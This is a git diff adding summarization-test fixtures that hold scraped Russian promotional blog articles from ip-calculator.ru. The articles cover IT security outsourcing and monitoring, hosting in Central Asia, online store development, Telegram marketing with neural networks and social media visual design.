организационные, технические и процессные меры. Централизованный мониторинг и реагирование на инциденты Использование SIEM-систем позволяет собирать и коррелировать события безопасности из разных источников, выявляя подозрительную активность на ранней стадии. Дополнение их SOAR-платформами дает возможность автоматизировать реагирование и снизить время устранения инцидентов. Управление доступом и контроль привилегий Внедрение IdM-систем обеспечивает прозрачное управление учетными записями, ролями и правами доступа, снижая риски инсайдерских угроз и компрометации привилегированных аккаунтов. Предотвращение утечек данных DLP-системы позволяют контролировать перемещение чувствительной информации, предотвращать несанкционированную передачу данных и соблюдать требования регуляторов. Защита сетевой и прикладной инфраструктуры Ключевую роль играют средства защиты сетевой инфраструктуры, каналов связи и веб-приложений, включая WAF, системы защиты баз данных и анализ конфигураций сетевых устройств. Регулярная оценка защищенности Пентесты и аудит конфигураций позволяют выявлять уязвимости до того, как ими воспользуются злоумышленники, и своевременно устранять слабые места. Привлечение профессионалов в области ИБ Для большинства ИТ-компаний создание собственного полноценного центра информационной безопасности экономически и организационно затруднительно. Поэтому все чаще используется модель аутсорсинга или подключение к специализированным SOC-центрам. Привлечение профессионалов: опыт компании Profi Защита информационной инфраструктуры — процесс дорогой и долгий, требующий специалистов высокого уровня. Оптимальный путь для многих компаний — делегирование этой задачи профильным экспертам. Показательным примером является Центр информационной безопасности Profi. Работая на рынке с 2010 года, компания накопила экспертизу, позволяющую закрыть все потребности ИТ-бизнеса в рамках «одного окна». Кроме того, компания имеет лицензии и сертификаты ФСБ и ФСТЭК, необходимые для осуществления своей деятельности. Почему это работает? Вместо того чтобы покупать разрозненный софт, бизнес получает комплексную экосистему защиты: Автоматизация. Внедрение SOAR-систем, которые реагируют на типовые угрозы, экономя время ИБ-инженеров. Глубокая аналитика. Подключение к профессиональному SOC-центру и использование SIEM-мониторинга. Безопасность связи. Настройка защищенных каналов и сетевой инфраструктуры, что критично для распределенных ИТ-команд. Аудит и комплаенс. Проведение пентестов и аттестация информационных систем на соответствие государственным стандартам. Антивирусная защита. Используются продукты ведущих российских компаний в этой сфере. Привлечение таких партнеров, как Profi, позволяет ИТ-бизнесу сфокусироваться на разработке продуктов, доверив «цифровую крепость» тем, кто профессионально держит оборону уже более 15 лет. Итог Для IT-бизнеса защита информации — это защита бизнеса в целом. Стратегия должна быть проактивной, многослойной и непрерывной. Можно идти путем создания собственной службы кибербезопасности, что долго и затратно. Либо прибегнуть к услугам проверенных партнеров, таких как Profi, которые позволяют в сжатые сроки получить уровень защиты крупных корпораций, сосредоточив внутренние ресурсы на развитии продуктов и услуг для своих клиентов. Насколько публикация полезна? Нажмите на звезду, чтобы оценить! Отправить оценку Средняя оценка 5 / 5. Количество оценок: 1 Оценок пока нет. Поставьте оценку первым. Статьи по теме: Как российским айти-предпринимателям запускать бизнес в Азии без проблем с задержкой, надёжностью и безопасностью Как ИТ-компании защитить свои данные: советы по мониторингу безопасности Как создать интернет-магазин: понятное руководство для предпринимателей Интеграция 1С с IT-системами: практическое руководство Просмотров: 4 Категории Вопросы читателей Метки безопасность Интернет Сервисы Предыдущая заметка Как российским айти-предпринимателям запускать бизнес в Азии без проблем с задержкой, надёжностью и безопасностью +============== diff --git a/tests/summarization/https___ip-calculator.ru_blog_ask_kak-it-kompanii-zashhitit-svoi-dannye_.txt b/tests/summarization/https___ip-calculator.ru_blog_ask_kak-it-kompanii-zashhitit-svoi-dannye_.txt new file mode 100644 index 0000000..1b7e502 --- /dev/null +++ b/tests/summarization/https___ip-calculator.ru_blog_ask_kak-it-kompanii-zashhitit-svoi-dannye_.txt @@ -0,0 +1,2 @@ +Как ИТ-компании защитить свои данные: советы по мониторингу безопасности tech16 декабря 20250 Многие технические команды воспринимают безопасность как набор «замков»: поставили сложный пароль, закрыли порты, настроили VPN — и дело сделано. Но в реальности защита данных больше похожа не на крепостную стену, а на работу операционной системы. Если вы не видите, какие процессы запущены и куда улетает трафик, система рано или поздно упадет. Мониторинг и экспресс аудит информационной безопасности (ИБ) — это «глаза» вашего бизнеса, которые позволяют заметить взлом до того, как база данных окажется на теневом форуме. Зачем смотреть в консоль, когда всё работает? Отсутствие мониторинга создает иллюзию спокойствия. Пока админы спокойно пьют кофе, злоумышленник может неделями изучать вашу сетевую топологию. Без настроенных алертов вы узнаете об инциденте последними — когда банк заблокирует счета или регулятор пришлет уведомление о штрафе. Вменяемый мониторинг дает компании три критических преимущества: Наблюдаемость. Вы понимаете, кто, откуда и зачем заходит в ваши системы. Скорость. Время между «нас взломали» и «мы это купировали» сокращается с недель до минут. Доказательства. Когда инцидент случится (а он случится), у вас будет полный лог событий для работы над ошибками и юридической защиты. Из чего собрать щит: базовый стек технологий Необязательно скупать все существующие Enterprise-решения. Для ИТ-компании среднего размера важно сфокусироваться на инструментах, которые реально снижают риски, а не просто генерят шум. Ядро системы: SIEM и логирование Централизованный сбор событий (SIEM) — это фундамент. Сюда стекаются данные из облаков, серверов и приложений. Система нормализует эти данные и ищет связи. Например, если один и тот же юзер одновременно залогинился из Москвы и Лиссабона — это повод для моментального алерта. Контроль эндпоинтов: EDR/XDR Антивирусы давно не справляются с направленными атаками. EDR следит за поведением на рабочих станциях разработчиков и серверах. Если скрипт пытается внезапно зашифровать файлы или выгрузить конфиги в неизвестное облако, система блокирует процесс и откатывает изменения. Видимость сети и данных: NDR и DLP Пока NDR анализирует аномальные перемещения внутри периметра, DLP следит, чтобы чувствительная информация — ключи доступа, персональные данные клиентов или исходный код — не покинула компанию через Telegram или флешку. Решение Что делает В чем польза для ИТ SIEM Собирает и коррелирует события Дает единую картину происходящего EDR/XDR Следит за поведением хостов Останавливает шифровальщиков и бэкдоры Vulnerability Scanner Ищет дыры в софте Позволяет закрыть уязвимости до атаки SOAR Автоматизирует реакцию Изолирует зараженную машину без участия человека Как запустить мониторинг и не сойти с ума Внедрение мониторинга — это марафон, а не спринт. Главная ошибка — пытаться собирать «вообще всё». Это приводит к гигантским счетам за хранение данных и выгоранию инженеров, которые тонут в мусорных уведомлениях. Расставляем приоритеты Начните с определения недопустимых событий. Что убьет ваш бизнес? Кража исходного кода? Остановка продакшена? Утечка базы пользователей? Мониторинг должен строиться вокруг защиты этих активов. Сначала накройте «радаром» критические сервисы и привилегированные учетки (админов и DevOps), а уже потом переходите к остальным. Настраиваем «шумоподавление» На старте любой SIEM завалит вас тысячами ложных срабатываний. Это нормально. Задача команды — методично «тюнить» правила. Если разработчик лезет на сервер в 3 часа ночи — для одного проекта это норма, для другого — аномалия. Плейбуки (инструкции к действию) должны четко говорить: кто звонит, что отключает и куда пишет, если сработал конкретный триггер. Интеграция в процессы Безопасность не должна мешать разработке. Внедряйте сканеры уязвимостей прямо в CI/CD пайплайны. Обучайте команду: каждый инженер должен понимать, что странная активность в консоли — это не «глюк», а повод для проверки. Что дальше: тренды и автоматизация Мир уходит от реактивной защиты к проактивной. Сегодня фокус смещается на Identity-centric security (личность как периметр) и Zero Trust. Мы больше не доверяем никому только потому, что он находится внутри корпоративной сети. Будущее — за машинным обучением, которое само выстраивает профиль нормального поведения пользователя и замечает малейшие отклонения. Но помните: никакой ИИ не заменит выстроенный процесс. Мониторинг работает только тогда, когда за технологиями стоят люди, знающие, что делать при пожаре. Насколько публикация полезна? Нажмите на звезду, чтобы оценить! Отправить оценку Средняя оценка 5 / 5. Количество оценок: 1 Оценок пока нет. Поставьте оценку первым. Статьи по теме: Как создать интернет-магазин: понятное руководство для предпринимателей Интеграция 1С с IT-системами: практическое руководство Нейросети в SEO и маркетинге: Telegram как новый поисковик - как получать 10–50 тыс. целевых переходов в месяц бесплатно Визуальный дизайн и социальная активность: как пиксели и оформление влияют на лайки и подписчиков Просмотров: 2 Категории Вопросы читателей Метки безопасность Интернет Предыдущая заметка Как создать интернет-магазин: понятное руководство для предпринимателей +============== diff --git a/tests/summarization/https___ip-calculator.ru_blog_ask_kak-rossijskim-ajti-predprinimatelyam-zapuskat-biznes-v-azii-bez-problem-s-zaderzhkoj-nadyozhnostyu-i-bezopasnostyu_.txt b/tests/summarization/https___ip-calculator.ru_blog_ask_kak-rossijskim-ajti-predprinimatelyam-zapuskat-biznes-v-azii-bez-problem-s-zaderzhkoj-nadyozhnostyu-i-bezopasnostyu_.txt new file mode 100644 index 0000000..3fcb5bb --- /dev/null +++ b/tests/summarization/https___ip-calculator.ru_blog_ask_kak-rossijskim-ajti-predprinimatelyam-zapuskat-biznes-v-azii-bez-problem-s-zaderzhkoj-nadyozhnostyu-i-bezopasnostyu_.txt @@ -0,0 +1,2 @@ +Как российским айти-предпринимателям запускать бизнес в Азии без проблем с задержкой, надёжностью и безопасностью tech22 декабря 20250 Российские айти-предприниматели всё чаще выходят на рынки Азии. Причины понятны: аудитория растёт, цифровые сервисы развиваются быстро, конкуренция во многих нишах ниже, чем в Европе или США. На старте кажется, что ключевые задачи — локализация, платежи и маркетинг. Но уже через несколько недель после запуска становится ясно: инфраструктура решает не меньше. Причём сразу по трём направлениям — задержка, надёжность и безопасность. Если сервис медленно отвечает, периодически недоступен или вызывает сомнения в защите данных, пользователи не будут разбираться, почему так произошло. Они просто уйдут. Почему проблемы всплывают именно при выходе в Азию Большинство проектов стартуют с уже существующей инфраструктуры. Серверы размещены там, где было удобно раньше, маршруты трафика выстроены под другую географию, а требования к отказоустойчивости формировались под меньшую нагрузку. Когда к сервису начинают подключаться пользователи из Азии, нагрузка резко меняется. Запросы идут из других стран, по другим сетевым маршрутам, через большее количество узлов. Это увеличивает задержку и делает соединение менее стабильным. Иногда сервис продолжает «работать», но уже не так, как ожидает пользователь. Почему одной только оптимизации недостаточно На этом этапе команды часто начинают подкручивать продукт. Оптимизируют фронтенд, добавляют кэширование, упрощают логику запросов. Всё это полезно, но не решает базовую проблему, если сервер находится далеко и сеть нестабильна. Кроме того, с ростом аудитории появляются новые риски. Даже короткие простои начинают стоить денег. Любая атака или сбой превращается не в технический инцидент, а в бизнес-проблему. И здесь на первый план выходят надёжность и безопасность инфраструктуры. Что обычно рассматривают предприниматели Когда становится понятно, что текущая схема не тянет, обычно обсуждают несколько вариантов: оставить всё как есть и мириться с потерями; точечно переносить сервисы и «латать» инфраструктуру; изначально выстраивать её ближе к пользователям, с учётом отказоустойчивости и защиты. Первые два подхода выглядят проще, но со временем усложняют систему и увеличивают риски. Третий требует чуть больше внимания на старте, зато даёт предсказуемый результат. Почему локальная инфраструктура решает сразу несколько задач Размещение серверов внутри региона присутствия пользователей даёт эффект сразу по нескольким направлениям. Во-первых, снижается задержка: запросы проходят меньше сетевых узлов, ответы приходят быстрее, интерфейс ощущается отзывчивым. Во-вторых, растёт стабильность. Когда инфраструктура подключена напрямую к региональным операторам и точкам обмена трафиком, сервис меньше зависит от перегруженных международных маршрутов. Это напрямую влияет на аптайм и количество инцидентов. И в-третьих, безопасность становится управляемой. Современные локальные облака изначально строятся с учётом защиты от DDoS, фильтрации трафика и изоляции сред. Это снимает с команды необходимость самостоятельно собирать «зоопарк» из разрозненных решений. Как это выглядит в реальной эксплуатации Практический сценарий — использование облачной платформы, развернутой непосредственно в Центральной Азии, с фокусом не только на скорость, но и на устойчивость. Например, MaCloud (https://macloud.pro/uz-ru) предоставляет облачную инфраструктуру в Узбекистане с прямыми подключениями к крупным точкам обмена трафиком — SNS-IX, MSK-IX, DATA-IX и другим. Это позволяет добиться низкой задержки для пользователей региона и стабильных соединений даже при росте нагрузки. Параллельно инфраструктура дополняется встроенными механизмами защиты веб-приложений, DDoS-фильтрацией и средствами против ботов. В результате безопасность перестаёт быть отдельным проектом и становится частью базовой платформы. Почему это важно именно для бизнеса С точки зрения предпринимателя выигрывает не только техническая сторона. Инфраструктура начинает масштабироваться вместе с продуктом, а не тормозить его. Серверы разворачиваются быстро, ресурсы увеличиваются по мере роста аудитории, а не закупаются заранее с большим запасом. Отдельный плюс — возможность миграции без остановки сервисов. Бесплатный перенос инфраструктуры снижает порог входа и позволяет протестировать гипотезу выхода в Азию без серьёзных рисков для текущего бизнеса. Итог Выход на азиатские рынки — это всегда проверка продукта на зрелость. Здесь быстро проявляются слабые места: задержки, нестабильность, проблемы с безопасностью. Поэтому при запуске бизнеса в Азии стоит сразу смотреть шире, чем просто «где дешевле серверы». Задержка, надёжность и безопасность — это не технические детали, а фундамент, на котором строится рост. Насколько публикация полезна? Нажмите на звезду, чтобы оценить! Отправить оценку Средняя оценка 5 / 5. Количество оценок: 1 Оценок пока нет. Поставьте оценку первым. Статьи по теме: Как ИТ-компании защитить свои данные: советы по мониторингу безопасности Как создать интернет-магазин: понятное руководство для предпринимателей Интеграция 1С с IT-системами: практическое руководство Нейросети в SEO и маркетинге: Telegram как новый поисковик - как получать 10–50 тыс. целевых переходов в месяц бесплатно Просмотров: 2 Категории Вопросы читателей Метки Интернет Сервисы Предыдущая заметка Как ИТ-компании защитить свои данные: советы по мониторингу безопасности +============== diff --git a/tests/summarization/https___ip-calculator.ru_blog_ask_kak-sozdat-internet-magazin-ponyatnoe-rukovodstvo-dlya-predprinimatelej_.txt b/tests/summarization/https___ip-calculator.ru_blog_ask_kak-sozdat-internet-magazin-ponyatnoe-rukovodstvo-dlya-predprinimatelej_.txt new file mode 100644 index 0000000..23c6fda --- /dev/null +++ b/tests/summarization/https___ip-calculator.ru_blog_ask_kak-sozdat-internet-magazin-ponyatnoe-rukovodstvo-dlya-predprinimatelej_.txt @@ -0,0 +1,2 @@ +Как создать интернет-магазин: понятное руководство для предпринимателей tech11 декабря 20250 Запустить интернет-магазин можно быстро и недорого, если заранее выбрать подходящий способ разработки и понимать, какие задачи предстоит решить. Магазин должен корректно работать, удобно принимать заказы, подключать оплату, доставку и давать возможность развивать проект дальше. Разберём, какие варианты существуют и почему заказать интернет-магазин под ключ — один из лучших. Основные способы создания интернет-магазина 1. Онлайн-конструкторы Самый простой вариант для старта. Вы регистрируетесь на конструкторе, выбираете готовый шаблон, загружаете товары и настраиваете базовые функции. Плюсы: быстрый запуск, минимальные вложения, не требуется разработчик. Минусы: ограниченная функциональность, слабая SEO-подготовка, высокая зависимость от платформы и абонентских тарифов. Подходит для теста ниши или совсем небольших проектов. 2. Готовые CMS (WordPress/WooCommerce, OpenCart) Более гибкий путь. Вы устанавливаете CMS, выбираете тему, подключаете модули оплаты и доставки, настраиваете каталог. Плюсы: контроль над магазином, хорошая SEO-основа, возможность масштабирования. Минусы: нужно разбираться в настройках, тратить время на технику и решать возникающие проблемы. Подходит предпринимателям, которые готовы самостоятельно погружаться в процесс. 3. Интернет-магазин в виде франшизы / коробочного решения Это готовый продукт с шаблонным дизайном и набором функций. Его часто предлагают маркетплейсы, сервисы рекламы или CRM-платформы. Плюсы: быстрый старт, интеграции уже внутри. Минусы: дизайн типовой, возможности ограничены, сложнее вносить любые изменения. Подходит для малого бизнеса без специфических требований. 4. Разработка у специалиста Самый надёжный и результативный вариант, если нужен магазин, который будет продавать, а не просто существовать. Специалист подбирает платформу, продумывает архитектуру каталога, делает удобный дизайн, настраивает оплату, доставку, аналитику и SEO-основу. Магазин получается адаптированным под ваш бизнес, без лишних или отсутствующих функций. Плюсы: индивидуальный результат, гибкие настройки, техническая гарантия, поддержка, возможность роста. Минусы: выше стоимость, но она окупается стабильной работой и продажами. Как работает профессиональная разработка: пример частного специалиста Рассмотрим разработку под ключ на примере частного разработчика Михаила, который создает магазины уже 18 лет. Суть его подхода в том, что клиент получает не просто сайт, а законченный продукт. В работу входит все: от выбора между WordPress/WooCommerce и OpenCart до настройки корзины, подключения эквайринга, интеграции со СДЭК и подготовки к продвижению. Как строится работа Фиксация условий. Обсуждается задача, бюджет и сроки. Все прописывается в договоре. Работа начинается после предоплаты. Подготовка и разработка. Пока клиент готовит контент (тексты, фото товаров), разработчик настраивает движок, создает адаптивный дизайн и подключает все необходимые сервисы. Запуск. Клиент проверяет магазин в работе, вносятся финальные правки. После этого магазин переносится на хостинг клиента, передаются все доступы и инструкции. Есть два четких формата на выбор: Недорогой магазин за 20.000 рублей. За 7 дней на OpenCart вы получаете рабочий инструмент с типовым дизайном, корзиной, онлайн-оплатой и неограниченным числом товаров. Решение для быстрого старта. Уникальный магазин от 50.000 рублей. Разработка по вашему техническому заданию на WooCommerce. Индивидуальный дизайн, сложный функционал, интеграции. Срок — от 30 дней. Решение для роста и масштабирования. Ключевые выгоды такого подхода Экономия времени и нервов. Вам не нужно искать отдельно дизайнера, верстальщика и программиста, следить за их работой и сводить все воедино. Ответственность. За весь проект и его итоговую работоспособность отвечает один человек по договору. Опыт. Специалист, который сделал более 1200 магазинов, уже знает подводные камни и лучшие практики для вашей ниши. Дальнейшая поддержка. Хороший разработчик дает гарантию (от 3 до 12 месяцев) и остается на связи, помогая с доработками и продвижением. Итог Если вам нужен магазин «на попробовать», достаточно конструктора или типового решения. Если хотите контролировать всё сами — подойдёт CMS, но придётся тратить время на обучение. Но когда требуется магазин, который будет продавать, с понятным интерфейсом, корректной работой и возможностью развития, лучшим вариантом станет заказ у специалиста. Это экономит время, снижает риски и даёт уверенность в результате. Если вам нужна разработка под ключ, адаптированная под ваш бизнес, можно обратиться к Михаилу — частному разработчику с большим опытом и прозрачными условиями. Насколько публикация полезна? Нажмите на звезду, чтобы оценить! Отправить оценку Средняя оценка 5 / 5. Количество оценок: 1 Оценок пока нет. Поставьте оценку первым. Статьи по теме: Интеграция 1С с IT-системами: практическое руководство Нейросети в SEO и маркетинге: Telegram как новый поисковик - как получать 10–50 тыс. целевых переходов в месяц бесплатно Визуальный дизайн и социальная активность: как пиксели и оформление влияют на лайки и подписчиков Как создать презентацию с помощью нейросети по теме и по готовому тексту? Просмотров: 57 Категории Вопросы читателей Метки SEO Маркетинг Предыдущая заметка Интеграция 1С с IT-системами: практическое руководство +============== diff --git a/tests/summarization/https___ip-calculator.ru_blog_ask_nejroseti-v-seo-i-marketinge-telegram-kak-novyj-poiskovik_.txt b/tests/summarization/https___ip-calculator.ru_blog_ask_nejroseti-v-seo-i-marketinge-telegram-kak-novyj-poiskovik_.txt new file mode 100644 index 0000000..64fc2ac --- /dev/null +++ b/tests/summarization/https___ip-calculator.ru_blog_ask_nejroseti-v-seo-i-marketinge-telegram-kak-novyj-poiskovik_.txt @@ -0,0 +1,2 @@ +Нейросети в SEO и маркетинге: Telegram как новый поисковик — как получать 10–50 тыс. целевых переходов в месяц бесплатно tech22 ноября 20250 В 2025 году поисковый трафик уже не ограничивается Google и Яндексом. Люди всё чаще ищут информацию там, где им удобно: в мессенджерах, закрытых сообществах и каналах, которыми управляют нейросети и умные алгоритмы рекомендаций. Самый яркий пример — Telegram. По данным Telegram Analytics и исследований Mediascope, ежедневная аудитория мессенджера в России превысила 85 млн человек, а среднемесячный охват — 92 %. При этом более 63 % пользователей ежедневно читают каналы и ищут в них нужные товары, услуги, обзоры и экспертные мнения. Это уже не просто мессенджер. Это полноценная поисковая система нового поколения, где запросы вводятся голосом, текстом или даже картинками, а рекомендации формируются мгновенно. И самое важнее всего — здесь до сих пор можно получать десятки тысяч целевых переходов абсолютно бесплатно, если знать, как правильно работать с контентом и нейросетями. Многие агентства уже давно используют Telegram как основной источник «тёплого» трафика. Например, команда Vzlet Agency одной из первых в СНГ начала системно развивать клиентские каналы с помощью ИИ-инструментов и сейчас стабильно выводит проекты на 30–70 тысяч переходов в месяц без единого рубля рекламного бюджета. Почему Telegram заменил поисковики для миллионов людей Классические поисковые системы перегружены рекламой, SEO-текстами и манипуляциями. Пользователь открывает выдачу — и видит 5–7 рекламных блоков до первого органического результата. В Telegram всё иначе. Человек заходит в поиск, вводит «ремонт iPhone Москва недорого» — и сразу видит актуальные каналы мастерских, отзывы, прайсы и кнопки записи. Никаких посредников, никакой рекламы сверху. По внутренним данным Telegram, более 40 % пользователей хотя бы раз в неделю используют строку поиска мессенджера для нахождения товаров и услуг. А после внедрения голосового поиска и ИИ-ассистентов внутри приложения эта цифра только растёт. При этом алгоритмы Telegram удивительно лояльны к новым каналам. Если контент полезный и регулярно обновляется — канал быстро попадает в рекомендации и поиск. Это даёт возможность даже начинающим проектам за 3–4 месяца выйти на 10–15 тысяч переходов по ключевым запросам. Как нейросети изменили правила игры в Telegram Ещё два года назад для вывода канала в топ нужно было вручную писать посты, искать картинки, придумывать заголовки. Сегодня 80 % успешных Telegram-проектов создают контент с помощью нейросетей. Grok, Claude, GPT-4o, Midjourney, Kandinsky — эти инструменты позволяют за час сделать столько контента, сколько раньше делала целая редакция за неделю. Но главное не объём, а точность попадания в потребности аудитории. Представьте: вы запускаете канал про ремонт автомобилей в Санкт-Петербурге. Нейросеть анализирует тысячи запросов из поиска Telegram, Wordstat, чатов и комментариев, выдаёт вам 150 самых горячих тем на ближайший месяц. Дальше — генерирует посты с идеальными заголовками, которые моментально цепляют: «Почему ваш Volkswagen троит после 100 тыс. км и как это исправить за 8 900 ?», «5 признаков, что вам впаривают контрактный двигатель вместо нового» и т.д. Каждый такой пост получает 5–15 тысяч просмотров в первые сутки только за счёт органического поиска и рекомендаций. А если добавить к этому перелинковку с другими вашими постами и каналами — трафик растёт экспоненциально. Пошаговая стратегия вывода канала на 10–50 тыс. переходов бесплатно Первое и главное — выбрать нишу с высоким спросом и умеренной конкуренцией. Идеально работают локальные услуги (ремонт техники, медицина, красота, авто), инфопродукты, товары с AliExpress и Wildberries с наценкой, узкие хобби. Дальше — создаёте канал и наполняете его 15–20 постами-подушками, сгенерированными нейросетью. Это должны быть вечнозелёные материалы: чек-листы, гайды, разборы ошибок, кейсы. Именно они будут приносить трафик годами. Затем начинаете ежедневную публикацию 2–4 постов. Здесь важно соблюдать баланс: 70 % — чистая польза, 20 % — вовлечение (опросы, вопросы, истории), 10 % — мягкая продажа. Нейросети отлично справляются с этой задачей: вы даёте им всего один промпт — и получаете готовую контент-стратегию на месяц вперёд. Очень мощный приём — создание «паутинки» каналов. Вы запускаете основной канал + 3–5 узких сателлитов (например, «Ремонт iPhone СПб», «Разбор поломок MacBook», «Где починить AirPods дёшево»). Все они перелинкованы между собой и ведут на основной. Так вы занимаете весь топ поиска по десяткам запросов. Ещё один работающий инструмент — Telegram Ads на минимальных бюджетах (5–10 тысяч рублей), чтобы дать первоначальный толчок. Но даже без него при правильной контент-стратегии канал выходит на самоокупаемость уже на 2–3 месяц. Реальные цифры 2025 года Канал по продаже запчастей для китайских авто — 48 тысяч переходов в месяц, 0 рублей на рекламу, только органика и нейросети. Канал стоматологии в Краснодаре — 34 тысячи переходов, 80 % записей через Telegram. Канал про заработок на маркетплейсах — 62 тысячи переходов, 70 % аудитории — из поиска Telegram. Все эти проекты объединяет одно: они используют нейросети на всех этапах — от анализа ниши до генерации контента и даже ответов в комментариях (да, современные боты уже способны вести полноценные диалоги и закрывать на продажу). Что будет дальше В 2026 году Telegram планирует запустить полноценный ИИ-поиск с персональными рекомендациями по интересам. Это значит, что каналы, которые уже сейчас занимают топ по ключевым запросам, получат ещё больший поток трафика. Те, кто начнёт строить свою экосистему в Telegram прямо сейчас — окажутся в самом выгодном положении. Классическое SEO никуда не денется, но его доля в воронках продаж будет сокращаться. Люди хотят получать ответы мгновенно, в одном окне, без переходов на сайты и заполнения форм. И Telegram даёт им эту возможность — причём бесплатно для тех, кто готов инвестировать время и использовать современные нейросети. Начните прямо сегодня: создайте канал, подключите ИИ-помощников, опубликуйте первые 10 постов. Через 3–6 месяцев вы будете удивляться, как раньше вообще жили без этого источника трафика. Telegram уже не просто мессенджер. Это новый Google для миллионов людей — и место, где ваш бизнес может расти без рекламных бюджетов. Насколько публикация полезна? Нажмите на звезду, чтобы оценить! Отправить оценку Средняя оценка 5 / 5. Количество оценок: 1 Оценок пока нет. Поставьте оценку первым. Статьи по теме: Визуальный дизайн и социальная активность: как пиксели и оформление влияют на лайки и подписчиков Как создать презентацию с помощью нейросети по теме и по готовому тексту? Как включить, использовать или удалить вкладку «Разработчик» в Microsoft Excel ИИ в бизнесе: что это, как работает (ML, NLP, Computer Vision) и как внедрить Просмотров: 4 Категории Вопросы читателей Метки Интернет Маркетинг Мессенджеры Предыдущая заметка Визуальный дизайн и социальная активность: как пиксели и оформление влияют на лайки и подписчиков +============== diff --git a/tests/summarization/https___ip-calculator.ru_blog_ask_vizualnyj-dizajn-i-sotsialnaya-aktivnost-kak-pikseli-i-oformlenie-vliyayut-na-lajki-i-podpischikov_.txt b/tests/summarization/https___ip-calculator.ru_blog_ask_vizualnyj-dizajn-i-sotsialnaya-aktivnost-kak-pikseli-i-oformlenie-vliyayut-na-lajki-i-podpischikov_.txt new file mode 100644 index 0000000..6a74043 --- /dev/null +++ b/tests/summarization/https___ip-calculator.ru_blog_ask_vizualnyj-dizajn-i-sotsialnaya-aktivnost-kak-pikseli-i-oformlenie-vliyayut-na-lajki-i-podpischikov_.txt @@ -0,0 +1,2 @@ +Визуальный дизайн и социальная активность: как пиксели и оформление влияют на лайки и подписчиков tech19 ноября 20250 Визуальный дизайн стал ключевым фактором успешного продвижения в социальных сетях. Пользовательское внимание распределяется быстро, и именно оформление часто определяет, окажется ли публикация в числе популярных или пройдёт незамеченной. Люди реагируют на цвет, композицию, стиль и подачу ещё до того, как успевают прочитать текст. Поэтому грамотный визуал напрямую влияет на вовлечённость, количество лайков и рост подписчиков. Пятое предложение подчёркивает, что многие авторы используют внешние инструменты для усиления визуального контента и повышения активности аудитории. В этот момент особенно полезными оказываются сервисы вроде https://smmcat.ru, которые помогают отслеживать поведенческие метрики и улучшать реакцию на публикации. Такие ресурсы позволяют видеть, какие визуальные решения работают лучше и как изменяется динамика вовлечённости. Благодаря этому автор может корректировать стиль, тестировать новые форматы и усиливать визуальное впечатление. Это создаёт основу для стабильного роста аудитории и более глубокого взаимодействия с контентом. В этой статье мы подробно разберём, как дизайн, цвета, пиксели и общая визуальная эстетика влияют на поведение пользователей. Мы рассмотрим, какие решения усиливают вовлечённость, почему структура изображения важна не меньше смысловой части и как бренды используют визуальную идентичность для формирования доверия и увеличения числа подписчиков. Влияние визуальной композиции на восприятие и вовлечённость Визуальная композиция — это фундамент любого контента в социальных сетях. От того, как распределены элементы на изображении или в видео, зависит, насколько легко пользователю ориентироваться в информации и насколько быстро она привлекает внимание. Композиция формирует первое впечатление, задаёт эмоциональный тон и влияет на то, проведёт человек с постом секунду или задержится дольше. Почему композиция определяет качество восприятия Когда пользователь листает ленту, мозг оценивает визуальный контент за доли секунды. Чёткие линии, акцентные зоны, аккуратная подача и понятный фокус заметно повышают шанс, что контент будет замечен. Нагромождение деталей, отсутствие структуры или хаотичное расположение элементов, наоборот, снижает вовлечённость, даже если сама идея публикации интересная. Ключевые элементы, которые усиливают эффект Фокусная точка. Она направляет взгляд пользователя и делает контент понятнее. Это может быть лицо, объект, текстовый блок или яркий элемент. Правило третей. Деление изображения на девять равных частей помогает создавать гармоничные композиции, приятные глазу. Баланс симметрии и асимметрии. Симметричные композиции создают ощущение порядка, а динамичные асимметричные — привлекают внимание. Проработанные пустые зоны. «Воздух» вокруг объектов помогает акцентировать важное и делает дизайн чище. Контраст. Правильное использование света, цвета и формы усиливает смысл и делает контент выразительным. Как хорошая композиция влияет на вовлечённость Грамотно составленная композиция помогает увеличить время просмотра, усилить эмоциональный отклик и мотивировать пользователя взаимодействовать с публикацией — поставить лайк, перейти в профиль или поделиться контентом. Платформы также учитывают, насколько активно аудитория реагирует на публикации. Чем лучше удержание внимания, тем выше шанс, что алгоритм поднимет пост в рекомендациях. Таким образом, композиция — это не просто эстетика. Это инструмент, который напрямую влияет на эффективность продвижения. Хороший визуал повышает доверие, делает бренд узнаваемым и помогает публикациям набирать охват без дополнительных усилий. Цветовые решения и их психологический эффект на аудиторию Цвет — один из самых сильных инструментов воздействия на восприятие в визуальном контенте. Он формирует эмоциональную реакцию быстрее, чем текст или форма. Именно поэтому грамотный подбор цветовой палитры помогает повысить вовлечённость, удержание внимания и даже улучшить узнаваемость бренда. Пользователь не анализирует цвета сознательно — мозг делает это автоматически, что делает цветовую психологию особенно важной в социальных сетях. Почему цвет влияет на решения пользователей Цвета вызывают ассоциации, эмоции и создают контекст. Тёплые оттенки могут стимулировать активность, а холодные — наоборот, успокаивать и настраивать на вдумчивое восприятие. Яркие контрастные палитры привлекают внимание, но при чрезмерном использовании могут перегружать. Нейтральные оттенки помогают сосредоточиться на смысле, но требуют продуманной композиции, чтобы не выглядеть скучно. Психологическое значение основных цветовых групп Цветовая группа Психологическое восприятие Где применяется Тёплые цвета (красный, оранжевый, жёлтый) Энергия, динамика, внимание, срочность Акции, стимулирующие посты, CTA-элементы Холодные цвета (синий, голубой, фиолетовый) Спокойствие, доверие, профессионализм Экспертные публикации, бренды с деловым имиджем Нейтральные оттенки (белый, серый, чёрный) Минимализм, чистота, серьёзность Трендовые визуалы, премиальные бренды, фэшн Пастельные тона Мягкость, дружелюбие, комфорт Лайфстайл, блоги, визуалы для широкой аудитории Баланс цвета как ключ к высокой вовлечённости Даже удачная палитра может работать плохо, если распределена неравномерно. Алгоритмы учитывают, насколько долго пользователь задерживается на публикации, а визуальная гармония прямо влияет на это время. Контрастные акценты помогают направлять внимание, а спокойный фон делает изображение приятным для восприятия. Переизбыток ярких элементов вызывает перегруз, из-за чего пользователь пролистывает контент быстрее. Как бренды используют цвет для построения доверия Последовательное использование палитры помогает формировать узнаваемость. Аудитория быстро запоминает цвета бренда, а мозг автоматически воспринимает такие публикации как более «родные» и надёжные. Это помогает увеличивать количество лайков и подписок без разовых всплесков активности — эффект достигается за счёт целостного визуального образа. Таким образом, цветовые решения — это не просто украшение. Это стратегический инструмент, который влияет на эмоции, восприятие и поведение аудитории. Правильно подобранная палитра помогает вывести визуальный контент на новый уровень и значительно повысить социальную активность вокруг публикаций. Роль адаптивной графики и контент-форматов в удержании внимания В современном цифровом пространстве люди потребляют контент с самых разных устройств — смартфонов, планшетов, ноутбуков и даже телевизоров. Поэтому адаптивная графика и корректно настроенные контент-форматы становятся 